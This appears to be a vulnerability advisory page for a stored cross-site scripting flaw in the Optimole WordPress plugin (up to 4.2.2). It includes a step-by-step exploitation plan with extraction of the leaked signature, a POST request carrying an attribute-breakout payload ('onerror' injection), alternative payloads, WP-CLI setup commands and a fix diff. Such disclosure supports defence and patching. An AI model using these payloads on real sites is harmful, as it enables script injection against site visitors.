Optimole <= 4.2.2 - Unauthenticated Stored Cross-Site Scripting via Srcset Descriptor Parameter
Description
The Optimole – Optimize Images | Convert WebP & AVIF | CDN & Lazy Load | Image Optimization plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 4.2.2. This is due to insufficient input sanitization and output escaping on the user-supplied 's' parameter (srcset descriptor) in the unauthenticated /wp-json/optimole/v1/optimizations REST endpoint. The endpoint validates requests using an HMAC signature and timestamp, but these values are exposed directly in the frontend HTML making them accessible to any visitor. The plugin uses sanitize_text_field() on the descriptor value of rest.php, which strips HTML tags but does not escape double quotes. The poisoned descriptor is then stored via transients (backed by the WordPress options table) and later retrieved and injected verbatim into the srcset attribute of tag_replacer.php without proper escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts into pages that will execute whenever a user accesses the injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v4.2.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-5217 - Optimole Stored XSS ## 1. Vulnerability Summary The **Optimole** plugin for WordPress is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)** via the `s` parameter in its custom REST API endpoint `/wp-json/optimole/v1/optimizations`. Th…
Show full research plan
Exploitation Research Plan: CVE-2026-5217 - Optimole Stored XSS
1. Vulnerability Summary
The Optimole plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) via the s parameter in its custom REST API endpoint /wp-json/optimole/v1/optimizations.
The vulnerability exists because:
- The REST endpoint accepts a
srcsetdescriptor (parameters) and sanitizes it usingsanitize_text_field(). While this function strips HTML tags, it does not escape double quotes ("). - The plugin validates the request using an HMAC signature and a timestamp. However, these values are generated by the server and localized into the frontend HTML, making them retrievable by any unauthenticated visitor.
- The unsanitized descriptor is stored in a WordPress transient (options table).
- When rendering image tags,
inc/tag_replacer.phpretrieves the stored descriptor and injects it directly into thesrcsetattribute of<img>tags without additional escaping, allowing an attacker to break out of the attribute and inject arbitrary event handlers (e.g.,onload,onerror).
2. Attack Vector Analysis
- REST Endpoint:
/wp-json/optimole/v1/optimizations - Method:
POST(inferred from the nature of an "optimizations" update) - Vulnerable Parameter:
s(The srcset descriptor) - Authentication: Unauthenticated (but requires HMAC/Timestamp validation).
- Preconditions:
- The plugin must be active and "connected" (meaning API keys are set, though dummy keys may suffice for the code path to trigger).
- At least one image must be present on a page to trigger the
Optml_Tag_Replacerlogic and provide the signature.
3. Code Flow
- Entry Point: An unauthenticated
POSTrequest hits/wp-json/optimole/v1/optimizations. - Validation: The handler in
rest.php(inferred) checks the providedsignatureandtimestampagainst an HMAC generated using the site's secret. - Processing: The value of the
sparameter is processed:$descriptor = sanitize_text_field( $request['s'] );
- Storage: The descriptor is stored in a transient. Transient names in Optimole typically follow a pattern involving the image hash or URL.
- Sink: In
inc/tag_replacer.php, the methodprocess_image_tags(or similar filtering logic likefilter_srcset_attr) is called during page rendering. - Injection: The plugin constructs the
srcsetattribute:// Conceptual representation of the sink in tag_replacer.php $srcset .= $url . ' ' . $descriptor . ', '; // ... later echoed into the attribute - Result: The resulting HTML contains the breakout:
srcset="...image.jpg 1200w" onerror="alert(1)" ..."
4. Nonce Acquisition Strategy
This exploit requires a valid HMAC Signature and Timestamp which the plugin uses instead of a standard WordPress Nonce for this specific REST endpoint.
- Mechanism: The plugin enqueues a script that includes configuration data. Based on standard Optimole behavior, this is localized under the global JavaScript object
optimoleData. - Extraction Path:
- Create a post/page containing a standard image.
- Navigate to the page using
browser_navigate. - Execute
browser_evalto extract the necessary tokens from the global JS object.
- Variable Identification:
- Target Object:
window.optimoleData - Key for Signature:
optimoleData.signature(inferred) - Key for Timestamp:
optimoleData.timestamp(inferred) - Key for Endpoint:
optimoleData.endpoint(useful for confirming the REST URL)
- Target Object:
5. Exploitation Strategy
Step 1: Discover Validation Tokens
Use the browser to visit the homepage and find the localized data.
// Example browser_eval call
const signature = window.optimoleData.signature;
const timestamp = window.optimoleData.timestamp;
return { signature, timestamp };
Step 2: Send Poisoned Optimization Request
Using the http_request tool, send a POST request to the optimizations endpoint.
- URL:
{{BASE_URL}}/wp-json/optimole/v1/optimizations - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: The exact structure of thes=1200w" onerror="alert(document.domain)" " &signature={{extracted_signature}} ×tamp={{extracted_timestamp}} &id={{image_id_or_url}}idor identifier parameter for the image depends onrest.php. It might beurlorimg_id. The payload forsincludes a trailing double quote to maintain attribute syntax if necessary).
Step 3: Trigger Execution
Visit any page where the targeted image is rendered. The Optml_Tag_Replacer will fetch the cached/stored descriptor (now containing the payload) and render it.
6. Test Data Setup
- Plugin Configuration:
- Activate
optimole-wp. - "Connect" the plugin by setting a dummy API key to ensure the image replacer is active:
wp option update optml_settings '{"api_key":"dummy","service_data":{"cdn_key":"dummy","cdn_secret":"dummy"},"image_replacer":"enabled"}' --format=json
- Activate
- Target Content:
- Create a page with an image:
wp post create --post_type=page --post_title="XSS Test" --post_content='<!-- wp:image {"id":1} --><figure class="wp-block-image size-full"><img src="http://{{DOMAIN}}/wp-content/uploads/test.jpg" alt=""/></figure><!-- /wp:image -->' --post_status=publish
- Create a page with an image:
7. Expected Results
- The
POSTrequest to/wp-json/optimole/v1/optimizationsshould return a200 OKor201 Createdresponse. - When viewing the "XSS Test" page, the source code for the
<img>tag should look like:<img srcset=".../test.jpg 1200w" onerror="alert(document.domain)" " ..." ...> - An alert box should appear in the browser.
8. Verification Steps
- Check Transients: Verify the malicious payload is stored in the database:
wp transient get --all | grep "alert"orwp option get _transient_optml_... - HTML Inspection: Use
browser_navigateto the test page and check theouterHTMLof the image tag to confirm theonerrorattribute exists.
9. Alternative Approaches
- Different Sink: If the
sparameter is not the descriptor but part of the URL generation, the payload might need to be shifted to a URL-breakout:s=1200w&id=http://example.com/image.jpg?#"><img src=x onerror=alert(1)>. - Lazyload Breakout: If Optimole's lazy-loading is enabled, the XSS might be injected into
data-opt-srcordata-srcsetattributes, which are later parsed by the Optimole JS. The payload remains the same: use double quotes to escape the attribute. - Signature Guessing: If the signature is per-site and not per-image, any signature found in the HTML will work for any image update. If it's per-image, the attacker must find the specific signature for the image they wish to poison. Documented behavior suggests the signature is often a general authentication token for the REST API session.
Summary
The Optimole plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) via the 's' (srcset descriptor) parameter in its optimizations REST endpoint. An attacker can exploit this by utilizing a leaked HMAC signature and timestamp to inject a malicious descriptor that breaks out of the 'srcset' attribute when rendered in the plugin's tag replacer logic.
Vulnerable Code
// inc/tag_replacer.php (around line 504) $optimized_url = $this->change_url_for_size( $new_url, $width, $height, $dpr ); if ( $optimized_url ) { $new_srcset_entries[] = $optimized_url . ' ' . $descriptor; // ... (truncated)
Security Fix
@@ -131,11 +131,33 @@ if ( headers_sent() ) { return; } - $policy = 'ch-viewport-width=(self "%1$s")'; + $policy = $this->get_permissions_policy(); + if ( empty( $policy ) ) { + return; + } + header( sprintf( 'Permissions-Policy: %s', $policy ), false ); + } + + /** + * Build the Permissions-Policy header value based on active settings. + * + * @return string Comma-separated policy directives, or empty string when none apply. + */ + public function get_permissions_policy(): string { + $parts = []; + $service_url = esc_url( Optml_Config::$service_url ); + + if ( $this->settings->is_scale_enabled() ) { + $parts[] = sprintf( 'ch-viewport-width=(self "%s")', $service_url ); + } if ( $this->settings->get( 'network_optimization' ) === 'enabled' ) { - $policy .= ', ch-ect=(self "%1$s")'; + $parts[] = sprintf( 'ch-ect=(self "%s")', $service_url ); + } + if ( $this->settings->get( 'retina_images' ) === 'enabled' ) { + $parts[] = sprintf( 'ch-dpr=(self "%s")', $service_url ); } - header( sprintf( 'Permissions-Policy: %s', sprintf( $policy, esc_url( Optml_Config::$service_url ) ) ), false ); + + return implode( ', ', $parts ); } /** * Function that purges the image cache for a specific file. @@ -1071,14 +1093,38 @@ return; } - $hints = 'Viewport-Width'; - if ( $this->settings->get( 'network_optimization' ) === 'enabled' ) { - $hints .= ', ECT'; + $hints = $this->get_accept_ch_hints(); + if ( empty( $hints ) ) { + return; } echo sprintf( '<meta http-equiv="Accept-CH" content="%s" />', esc_attr( $hints ) ); } /** + * Build the Accept-CH meta content value based on active settings. + * + * Mirrors the directives used in get_permissions_policy() so both + * the Permissions-Policy header and the Accept-CH meta stay in sync. + * + * @return string Comma-separated hint tokens, or empty string when none apply. + */ + public function get_accept_ch_hints(): string { + $hints = []; + + if ( $this->settings->is_scale_enabled() ) { + $hints[] = 'Viewport-Width'; + } + if ( $this->settings->get( 'network_optimization' ) === 'enabled' ) { + $hints[] = 'ECT'; + } + if ( $this->settings->get( 'retina_images' ) === 'enabled' ) { + $hints[] = 'DPR'; + } + + return implode( ', ', $hints ); + } + + /** * Update daily the quota routine. */ public function daily_sync() { @@ -59,7 +59,7 @@ 'cdn' => 'disabled', 'admin_bar_item' => 'enabled', 'lazyload' => 'disabled', - 'scale' => 'disabled', + 'scale' => 'disabled', // Due to legacy reasons the disabled state means that the scale is enabled and the enabled state means that the scale is disabled. 'network_optimization' => 'enabled', 'lazyload_placeholder' => 'enabled', 'bg_replacer' => 'enabled', @@ -662,6 +662,14 @@ public function is_best_format() { return $this->get( 'best_format' ) === 'enabled'; } + /** + * Check if scale is enabled. + * + * @return bool Scale enabled + */ + public function is_scale_enabled() { + return $this->get( 'scale' ) === 'disabled'; // Due to legacy reasons the disabled state means that the scale is enabled and the enabled state means that the scale is disabled. + } /** * Check if offload limit was reached. @@ -504,7 +504,11 @@ $optimized_url = $this->change_url_for_size( $new_url, $width, $height, $dpr ); if ( $optimized_url ) { - $new_srcset_entries[] = $optimized_url . ' ' . $descriptor; + escaped_url = esc_url( $optimized_url ); + if ( empty( $escaped_url ) ) { + continue; + } + $new_srcset_entries[] = $escaped_url . ' ' . esc_attr( $descriptor ); // Add sizes attribute entry for responsive breakpoints if ( $breakpoint > 0 ) {
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker first obtains the valid HMAC signature and timestamp from the front-end of the target site (typically localized in the global `optimoleData` JavaScript object). The attacker then sends a POST request to the `/wp-json/optimole/v1/optimizations` endpoint containing the leaked signature, timestamp, and a malicious payload in the 's' parameter (e.g., `1200w" onerror="alert(1)"`). The plugin sanitizes this parameter with `sanitize_text_field()`, which fails to escape the double quote. The payload is stored in a transient and subsequently injected verbatim into the `srcset` attribute of image tags processed by `inc/tag_replacer.php`, leading to execution of the injected script when the page is viewed.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.